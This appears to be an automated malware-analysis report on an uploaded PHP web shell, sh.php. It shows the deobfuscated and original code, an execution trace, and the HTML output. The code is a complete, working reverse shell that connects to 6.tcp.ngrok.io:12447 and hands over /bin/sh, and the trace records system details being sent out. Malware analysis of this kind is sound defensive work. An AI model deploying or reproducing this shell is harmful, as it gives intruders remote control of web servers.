PHP Malware Analysis

sh.php

md5: 3661720657ec8229dac0c2990606226a

Jump to:

Screenshot


Attributes

Environment

Execution


Deobfuscated PHP code

<?php

set_time_limit(0);
$VERSION = "1.0";
$ip = '6.tcp.ngrok.io';
// CHANGE THIS
$port = 12447;
// CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("{$errstr} ({$errno})");
    exit(1);
}
// Spawn shell process
$descriptorspec = array(
    0 => array("pipe", "r"),
    // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),
    // stdout is a pipe that the child will write to
    2 => array("pipe", "w"),
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to {$ip}:{$port}");
while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) {
            printit("SOCK READ");
        }
        $input = fread($sock, $chunk_size);
        if ($debug) {
            printit("SOCK: {$input}");
        }
        fwrite($pipes[0], $input);
    }
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) {
            printit("STDOUT READ");
        }
        $input = fread($pipes[1], $chunk_size);
        if ($debug) {
            printit("STDOUT: {$input}");
        }
        fwrite($sock, $input);
    }
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) {
            printit("STDERR READ");
        }
        $input = fread($pipes[2], $chunk_size);
        if ($debug) {
            printit("STDERR: {$input}");
        }
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit($string)
{
    if (!$daemon) {
        print "{$string}\n";
    }
}

Execution traces

data/traces/3661720657ec8229dac0c2990606226a_trace-1676241531.5665.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:39:17.464400]
1	0	1	0.000326	393464
1	3	0	0.000523	417984	{main}	1		/var/www/html/uploads/sh.php	0	0
2	4	0	0.000541	417984	set_time_limit	0		/var/www/html/uploads/sh.php	3	1	0
2	4	1	0.000561	418048
2	4	R			FALSE
1		A						/var/www/html/uploads/sh.php	4	$VERSION = '1.0'
1		A						/var/www/html/uploads/sh.php	5	$ip = '6.tcp.ngrok.io'
1		A						/var/www/html/uploads/sh.php	6	$port = 12447
1		A						/var/www/html/uploads/sh.php	7	$chunk_size = 1400
1		A						/var/www/html/uploads/sh.php	8	$write_a = NULL
1		A						/var/www/html/uploads/sh.php	9	$error_a = NULL
1		A						/var/www/html/uploads/sh.php	10	$shell = 'uname -a; w; id; /bin/sh -i'
1		A						/var/www/html/uploads/sh.php	11	$daemon = 0
1		A						/var/www/html/uploads/sh.php	12	$debug = 0
2	5	0	0.000670	418016	function_exists	0		/var/www/html/uploads/sh.php	20	1	'pcntl_fork'
2	5	1	0.000684	418056
2	5	R			FALSE
2	6	0	0.000699	418016	printit	1		/var/www/html/uploads/sh.php	42	1	'WARNING: Failed to daemonise.  This is quite common and not fatal.'
2	6	1	0.000740	418016
2	7	0	0.000749	418016	chdir	0		/var/www/html/uploads/sh.php	46	1	'/'
2	7	1	0.000766	418088
2	7	R			TRUE
2	8	0	0.000779	418048	umask	0		/var/www/html/uploads/sh.php	49	1	0
2	8	1	0.000792	418080
2	8	R			18
2	9	0	0.000804	418096	fsockopen	0		/var/www/html/uploads/sh.php	56	5	'6.tcp.ngrok.io'	12447	NULL	NULL	30
2	9	1	0.133450	418688
2	9	R			resource(3) of type (stream)
1		A						/var/www/html/uploads/sh.php	56	$sock = resource(3) of type (stream)
1		A						/var/www/html/uploads/sh.php	64	$descriptorspec = [0 => [0 => 'pipe', 1 => 'r'], 1 => [0 => 'pipe', 1 => 'w'], 2 => [0 => 'pipe', 1 => 'w']]
2	10	0	0.133534	418544	proc_open	0		/var/www/html/uploads/sh.php	69	3	'uname -a; w; id; /bin/sh -i'	[0 => [0 => 'pipe', 1 => 'r'], 1 => [0 => 'pipe', 1 => 'w'], 2 => [0 => 'pipe', 1 => 'w']]	NULL
2	10	1	0.134398	420472
2	10	R			resource(7) of type (process)
1		A						/var/www/html/uploads/sh.php	69	$process = resource(7) of type (process)
2	11	0	0.134552	420368	stream_set_blocking	0		/var/www/html/uploads/sh.php	78	2	resource(4) of type (stream)	0
2	11	1	0.134578	420432
2	11	R			TRUE
2	12	0	0.134592	420368	stream_set_blocking	0		/var/www/html/uploads/sh.php	79	2	resource(5) of type (stream)	0
2	12	1	0.134607	420432
2	12	R			TRUE
2	13	0	0.134620	420368	stream_set_blocking	0		/var/www/html/uploads/sh.php	80	2	resource(6) of type (stream)	0
2	13	1	0.134635	420432
2	13	R			TRUE
2	14	0	0.134647	420368	stream_set_blocking	0		/var/www/html/uploads/sh.php	81	2	resource(3) of type (stream)	0
2	14	1	0.134666	420432
2	14	R			TRUE
2	15	0	0.134685	420464	printit	1		/var/www/html/uploads/sh.php	83	1	'Successfully opened reverse shell to 6.tcp.ngrok.io:12447'
2	15	1	0.134749	420464
2	16	0	0.134759	420368	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	16	1	0.134775	420400
2	16	R			FALSE
2	17	0	0.134788	420368	feof	0		/var/www/html/uploads/sh.php	93	1	resource(5) of type (stream)
2	17	1	0.134801	420400
2	17	R			FALSE
1		A						/var/www/html/uploads/sh.php	100	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	18	0	0.134830	420816	stream_select	0		/var/www/html/uploads/sh.php	101	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	18	1	0.135854	420968
2	18	R			1
1		A						/var/www/html/uploads/sh.php	101	$num_changed_sockets = 1
2	19	0	0.135891	420816	in_array	0		/var/www/html/uploads/sh.php	105	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	19	1	0.135912	420888
2	19	R			FALSE
2	20	0	0.135926	420816	in_array	0		/var/www/html/uploads/sh.php	114	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	20	1	0.135941	420888
2	20	R			TRUE
2	21	0	0.135954	420816	fread	0		/var/www/html/uploads/sh.php	116	2	resource(5) of type (stream)	1400
2	21	1	0.135973	429232
2	21	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
1		A						/var/www/html/uploads/sh.php	116	$input = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
2	22	0	0.136019	429168	fwrite	0		/var/www/html/uploads/sh.php	118	2	resource(3) of type (stream)	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
2	22	1	0.136059	429232
2	22	R			107
2	23	0	0.136110	429168	in_array	0		/var/www/html/uploads/sh.php	123	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	23	1	0.136128	429240
2	23	R			FALSE
2	24	0	0.136141	429168	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	24	1	0.136156	429200
2	24	R			FALSE
2	25	0	0.136169	429168	feof	0		/var/www/html/uploads/sh.php	93	1	resource(5) of type (stream)
2	25	1	0.136217	429200
2	25	R			FALSE
1		A						/var/www/html/uploads/sh.php	100	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	26	0	0.136246	429168	stream_select	0		/var/www/html/uploads/sh.php	101	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	26	1	0.142172	429320
2	26	R			1
1		A						/var/www/html/uploads/sh.php	101	$num_changed_sockets = 1
2	27	0	0.142208	429168	in_array	0		/var/www/html/uploads/sh.php	105	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	27	1	0.142226	429240
2	27	R			FALSE
2	28	0	0.142240	429168	in_array	0		/var/www/html/uploads/sh.php	114	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	28	1	0.142256	429240
2	28	R			TRUE
2	29	0	0.142269	429168	fread	0		/var/www/html/uploads/sh.php	116	2	resource(5) of type (stream)	1400
2	29	1	0.142287	429616
2	29	R			' 17:38:51 up  9:36,  2 users,  load average: 0.49, 0.75, 0.82\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    4:06m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
1		A						/var/www/html/uploads/sh.php	116	$input = ' 17:38:51 up  9:36,  2 users,  load average: 0.49, 0.75, 0.82\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    4:06m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
2	30	0	0.142343	429392	fwrite	0		/var/www/html/uploads/sh.php	118	2	resource(3) of type (stream)	' 17:38:51 up  9:36,  2 users,  load average: 0.49, 0.75, 0.82\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    4:06m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
2	30	1	0.142388	429456
2	30	R			347
2	31	0	0.142439	429392	in_array	0		/var/www/html/uploads/sh.php	123	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	31	1	0.142457	429464
2	31	R			FALSE
2	32	0	0.142470	429392	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	32	1	0.142521	429424
2	32	R			FALSE
2	33	0	0.142535	429392	feof	0		/var/www/html/uploads/sh.php	93	1	resource(5) of type (stream)
2	33	1	0.142548	429424
2	33	R			FALSE
1		A						/var/www/html/uploads/sh.php	100	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	34	0	0.142576	429392	stream_select	0		/var/www/html/uploads/sh.php	101	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	34	1	0.143017	429544
2	34	R			1
1		A						/var/www/html/uploads/sh.php	101	$num_changed_sockets = 1
2	35	0	0.143051	429392	in_array	0		/var/www/html/uploads/sh.php	105	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	35	1	0.143069	429464
2	35	R			FALSE
2	36	0	0.143083	429392	in_array	0		/var/www/html/uploads/sh.php	114	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	36	1	0.143098	429464
2	36	R			TRUE
2	37	0	0.143112	429392	fread	0		/var/www/html/uploads/sh.php	116	2	resource(5) of type (stream)	1400
2	37	1	0.143128	429536
2	37	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
1		A						/var/www/html/uploads/sh.php	116	$input = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
2	38	0	0.143159	429088	fwrite	0		/var/www/html/uploads/sh.php	118	2	resource(3) of type (stream)	'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
2	38	1	0.143192	429152
2	38	R			54
2	39	0	0.143242	429088	in_array	0		/var/www/html/uploads/sh.php	123	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	39	1	0.143266	429160
2	39	R			FALSE
2	40	0	0.143314	429088	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	40	1	0.143331	429120
2	40	R			FALSE
2	41	0	0.143344	429088	feof	0		/var/www/html/uploads/sh.php	93	1	resource(5) of type (stream)
2	41	1	0.143357	429120
2	41	R			FALSE
1		A						/var/www/html/uploads/sh.php	100	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	42	0	0.143385	429088	stream_select	0		/var/www/html/uploads/sh.php	101	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	42	1	0.143573	429240
2	42	R			1
1		A						/var/www/html/uploads/sh.php	101	$num_changed_sockets = 1
2	43	0	0.143603	429088	in_array	0		/var/www/html/uploads/sh.php	105	2	resource(3) of type (stream)	[2 => resource(6) of type (stream)]
2	43	1	0.143656	429160
2	43	R			FALSE
2	44	0	0.143671	429088	in_array	0		/var/www/html/uploads/sh.php	114	2	resource(5) of type (stream)	[2 => resource(6) of type (stream)]
2	44	1	0.143686	429160
2	44	R			FALSE
2	45	0	0.143698	429088	in_array	0		/var/www/html/uploads/sh.php	123	2	resource(6) of type (stream)	[2 => resource(6) of type (stream)]
2	45	1	0.143713	429160
2	45	R			TRUE
2	46	0	0.143726	429088	fread	0		/var/www/html/uploads/sh.php	125	2	resource(6) of type (stream)	1400
2	46	1	0.143744	437424
2	46	R			'/bin/sh: 0: can\'t access tty; job control turned off\n$ '
1		A						/var/www/html/uploads/sh.php	125	$input = '/bin/sh: 0: can\'t access tty; job control turned off\n$ '
2	47	0	0.143775	437280	fwrite	0		/var/www/html/uploads/sh.php	127	2	resource(3) of type (stream)	'/bin/sh: 0: can\'t access tty; job control turned off\n$ '
2	47	1	0.143805	437344
2	47	R			55
2	48	0	0.143854	437280	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	48	1	0.143869	437312
2	48	R			FALSE
2	49	0	0.143882	437280	feof	0		/var/www/html/uploads/sh.php	93	1	resource(5) of type (stream)
2	49	1	0.143895	437312
2	49	R			FALSE
1		A						/var/www/html/uploads/sh.php	100	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	50	0	0.143956	437280	stream_select	0		/var/www/html/uploads/sh.php	101	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	50	1	0.586547	437432
2	50	R			1
1		A						/var/www/html/uploads/sh.php	101	$num_changed_sockets = 1
2	51	0	0.586607	437280	in_array	0		/var/www/html/uploads/sh.php	105	2	resource(3) of type (stream)	[0 => resource(3) of type (stream)]
2	51	1	0.586699	437352
2	51	R			TRUE
2	52	0	0.586717	437280	fread	0		/var/www/html/uploads/sh.php	107	2	resource(3) of type (stream)	1400
2	52	1	0.586772	445632
2	52	R			'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
1		A						/var/www/html/uploads/sh.php	107	$input = 'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
2	53	0	0.586807	445488	fwrite	0		/var/www/html/uploads/sh.php	109	2	resource(4) of type (stream)	'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
2	53	1	0.586835	445552
2	53	R			58
2	54	0	0.586849	445488	in_array	0		/var/www/html/uploads/sh.php	114	2	resource(5) of type (stream)	[0 => resource(3) of type (stream)]
2	54	1	0.586865	445560
2	54	R			FALSE
2	55	0	0.586879	445488	in_array	0		/var/www/html/uploads/sh.php	123	2	resource(6) of type (stream)	[0 => resource(3) of type (stream)]
2	55	1	0.586894	445560
2	55	R			FALSE
2	56	0	0.586908	445488	feof	0		/var/www/html/uploads/sh.php	87	1	resource(3) of type (stream)
2	56	1	0.586924	445520
2	56	R			TRUE
2	57	0	0.586938	445488	printit	1		/var/www/html/uploads/sh.php	88	1	'ERROR: Shell connection terminated'
2	57	1	0.586985	445488
2	58	0	0.586994	445488	fclose	0		/var/www/html/uploads/sh.php	131	1	resource(3) of type (stream)
2	58	1	0.587011	436928
2	58	R			TRUE
2	59	0	0.587025	436896	fclose	0		/var/www/html/uploads/sh.php	132	1	resource(4) of type (stream)
2	59	1	0.587044	436512
2	59	R			TRUE
2	60	0	0.587058	436480	fclose	0		/var/www/html/uploads/sh.php	133	1	resource(5) of type (stream)
2	60	1	0.587072	427904
2	60	R			TRUE
2	61	0	0.587085	427872	fclose	0		/var/www/html/uploads/sh.php	134	1	resource(6) of type (stream)
2	61	1	0.587109	419296
2	61	R			TRUE
2	62	0	0.587123	419264	proc_close	0		/var/www/html/uploads/sh.php	135	1	resource(7) of type (process)
2	62	1	0.587389	419192
2	62	R			127
1	3	1	0.587454	419160
			0.587526	318216
TRACE END   [2023-02-12 20:39:18.051652]


Generated HTML code

<html><head></head><body>WARNING: Failed to daemonise.  This is quite common and not fatal.
Successfully opened reverse shell to 6.tcp.ngrok.io:12447
ERROR: Shell connection terminated
</body></html>

Original PHP code

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '6.tcp.ngrok.io';  // CHANGE THIS
$port = 12447;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>